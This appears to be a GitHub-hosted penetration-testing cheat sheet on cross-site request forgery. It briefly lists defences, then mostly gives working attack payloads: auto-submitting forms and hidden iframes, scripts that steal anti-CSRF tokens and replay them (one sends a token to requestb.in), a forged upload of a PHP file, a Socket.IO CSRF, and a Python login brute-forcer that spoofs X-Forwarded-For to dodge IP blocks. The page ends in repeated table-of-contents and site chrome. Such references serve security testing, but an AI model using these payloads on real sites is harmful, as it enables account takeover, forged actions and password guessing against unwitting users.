CSRF (Cross-Site Request Forgery)

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

Common Defenses

SameSite cookies
Cross-origin resource sharing
Ask for the password user to authorise the action
Resolve a captcha
Read the Referrer or Origin headers If a regex is used it could be bypassed form example with:
- http://mal.net?orig=http://example.com (ends with the url)
- http://example.com.mal.net (starts with the url)
Modify the name of the parameters of the Post or Get request
Use a CSRF token in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.

Defences Bypass

1. From POST to GET

2. Lack of token

Some applications correctly validate the token when it is present but skip the validation if the token is omitted.

3. CSRF token is not tied to the user session

4. Method bypass

If the request is using a "weird" method, check if the method override functionality is working. For example, if it's using a PUT method you can try to use a POST method and send: https://example.com/my/dear/api/val/num?_method=PUT This could also works sending the _method parameter inside the a POST request or using the headers:

X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override

5. Custom header token bypass

If the request is adding a custom header with a token to the request as CSRF protection method, then:

Test the request without the Customized Token and also header
Test the request with exact same length but different token

6. CSRF token is verified by a cookie

Some applications duplicate each token within a cookie and a request parameter. Or the set a csrf cookie and the checks in the backend if the csrf token sent is the one related with the cookie.

you can set the cookie trying to load a fake image and then launch the CSRF attack like in this example

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
      <input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
  </body>
</html>

Note that if the csrf token is related with the session cookie this attack won't work because you will need to set the victim your session, and therefore you will be attacking yourself.

7. Content-Type change

in order to avoid preflight requests using POST method these are the allowed Content-Type values:

application/x-www-form-urlencoded
multipart/form-data
text/plain

sending JSON data as text/plain

<html>
  <body>
    <form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
      <input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
    </form>
    <script>
        form.submit();
    </script>
  </body>
</html>

8. Referrer / Origin check bypass

Avoid Referrer header

<meta name="referrer" content="never">

To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:

<html>
  <!-- Referrer policy needed to send the qury parameter in the referrer -->
  <head><meta name="referrer" content="unsafe-url"></head>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      // You need to set this or the domain won't appear in the query of the referer header
      history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
      document.forms[0].submit();
    </script>
  </body>
</html>

Exploit

Exfiltrating CSRF Token

If a CSRF token is being used as defence you could try to exfiltrate it abusing a XSS vulnerability or a Dangling Markup vulnerability.

GET using HTML tags

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Other HTML5 tags that can be used to automatically send a GET request are:

Form GET request

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form method="GET" action="https://victim.net/email/change-email">
      <input type="hidden" name="email" value="some@email.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Form POST request

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form method="POST" action="https://victim.net/email/change-email" id="csrfform">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
      <input type="submit" value="Submit request" />
      <img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
    </form>
    <script>
      document.forms[0].submit(); //Way 3 to autosubmit
    </script>
  </body>
</html>

Form POST request through iframe

<!-- 
The request is sent through the iframe withuot reloading the page 
-->
<html>
  <body>
  <iframe style="display:none" name="csrfframe"></iframe> 
    <form method="POST" action="/change-email" id="csrfform" target="csrfframe">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Ajax POST request

<script>
var xh;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xh=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xh=new ActiveXObject("Microsoft.XMLHTTP");
  }
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
  type: "POST",
  url: "https://google.com",
  data: "param=value&param2=value2"
})
</script>

multipart/form-data POST request

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
    method: "post",
    body: myFormData,
    credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    mode: "no-cors"
});

multipart/form-data POST request v2

var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

HTML POST - AutoSubmit - No User Interaction

<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>

JSON GET - Simple Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

JSON POST - Simple Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

JSON POST - Complex Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

Form POST request from within an iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Steal CSRF Token and send a POST request

function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);
    xhr.withCredentials = true;

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            //console.log(xhr.responseText);
        }
    }

    xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    xhr.withCredentials = true;
    // true on the end of here makes the call asynchronous
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementById("token");
            // Show the token
            //console.log("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Steal CSRF Token and send a Post request using an iframe, a form and Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
    x1=document.getElementById("i1");
    x1d=(x1.contentWindow||x1.contentDocument);
    t=x1d.document.getElementById("token").value;
    
    document.getElementById("token").value=t;
    document.getElementById("form1").submit();
}
</script> 
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Steal CSRF Token and sen a POST request using an iframe and a form

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script> 
function read()
{
    var name = 'admin2';
    var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
    document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
    document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
    document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
    document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
    document.writeln('</form>');
    document.forms[0].submit.click();
}
</script>

Steal token and send it using 2 iframes

<script>
var token;
function readframe1(){
  token = frame1.document.getElementById("profile").token.value;
  document.getElementById("bypass").token.value = token
  loadframe2();
}
function loadframe2(){
  var test = document.getElementbyId("frame2");
  test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
  <input type="text" name="username" value="z">
  <input type="checkbox" name="status" checked="">        
  <input id="token" type="hidden" name="token" value="0000" />
  <button type="submit">Submit</button>
</form>

POST Steal CSRF token with Ajax and send a post with a form

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="username" value="root"/>
  <input type="hidden" name="status" value="on"/>
  <input type="hidden" id="findtoken" name="token" value=""/>
  <input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
  x.withCredentials = true;
  x.open("GET","http://google.com?param=VALUE",true);
  x.send(null); 
}
x.onreadystatechange = function() {
  if (x.readyState == XMLHttpRequest.DONE) {
    var token = x.responseText.match(/name="token" value="(.+)"/)[1];
    document.getElementById("findtoken").value = token;
    document.getElementById("form").submit();
  }
}
</script>

CSRF with Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
    console.log('connected!');
    socket.emit('join', {
        room: username
    });
  socket.emit('my_room_event', {
      data: '!flag',
      room: username
  })

});
</script>

CSRF Login Brute Force

The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
    #Return CSRF + Session (cookie)
    r = requests.get(URL)
    csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
    csrf = csrf.group(1)
    session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
    return csrf, session_cookie

def login(user, password):
    print(f"{user}:{password}")
    csrf, cookie = init_session()
    cookies = {SESSION_COOKIE_NAME: cookie}
    data = {
        "tokenCSRF": csrf,
        "username": user,
        "password": password,
        "save": ""
    }
    headers = {
        "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
    }
    r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
    if "Username or password incorrect" in r.text:
        return False
    else:
        print(f"FOUND {user} : {password}")
        return True

with open(PASS_LIST, "r") as f:
    for line in f:
        login(USER, line.strip())

CSRF map

Tools

https://github.com/0xInfection/XSRFProbe
https://github.com/merttasci/csrf-poc-generator

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CSRF.md

CSRF.md

CSRF (Cross-Site Request Forgery)

Common Defenses

Defences Bypass

1. From POST to GET

2. Lack of token

3. CSRF token is not tied to the user session

4. Method bypass

5. Custom header token bypass

6. CSRF token is verified by a cookie

7. Content-Type change

8. Referrer / Origin check bypass

Exploit

Exfiltrating CSRF Token

GET using HTML tags

Form GET request

Form POST request

Form POST request through iframe

Ajax POST request

multipart/form-data POST request

multipart/form-data POST request v2

HTML POST - AutoSubmit - No User Interaction

JSON GET - Simple Request

JSON POST - Simple Request

JSON POST - Complex Request

Form POST request from within an iframe

Steal CSRF Token and send a POST request

Steal CSRF Token and send a Post request using an iframe, a form and Ajax

Steal CSRF Token and sen a POST request using an iframe and a form

Steal token and send it using 2 iframes

POST Steal CSRF token with Ajax and send a post with a form

CSRF with Socket.IO

CSRF Login Brute Force

CSRF map

Tools

Files

CSRF.md

Latest commit

History

CSRF.md

File metadata and controls

CSRF (Cross-Site Request Forgery)

Common Defenses

Defences Bypass

1. From POST to GET

2. Lack of token

3. CSRF token is not tied to the user session

4. Method bypass

5. Custom header token bypass

6. CSRF token is verified by a cookie

7. Content-Type change

8. Referrer / Origin check bypass

Exploit

Exfiltrating CSRF Token

GET using HTML tags

Form GET request

Form POST request

Form POST request through iframe

Ajax POST request

multipart/form-data POST request

multipart/form-data POST request v2

HTML POST - AutoSubmit - No User Interaction

JSON GET - Simple Request

JSON POST - Simple Request

JSON POST - Complex Request

Form POST request from within an iframe

Steal CSRF Token and send a POST request

Steal CSRF Token and send a Post request using an iframe, a form and Ajax

Steal CSRF Token and sen a POST request using an iframe and a form

Steal token and send it using 2 iframes

POST Steal CSRF token with Ajax and send a post with a form

CSRF with Socket.IO

CSRF Login Brute Force

CSRF map

Tools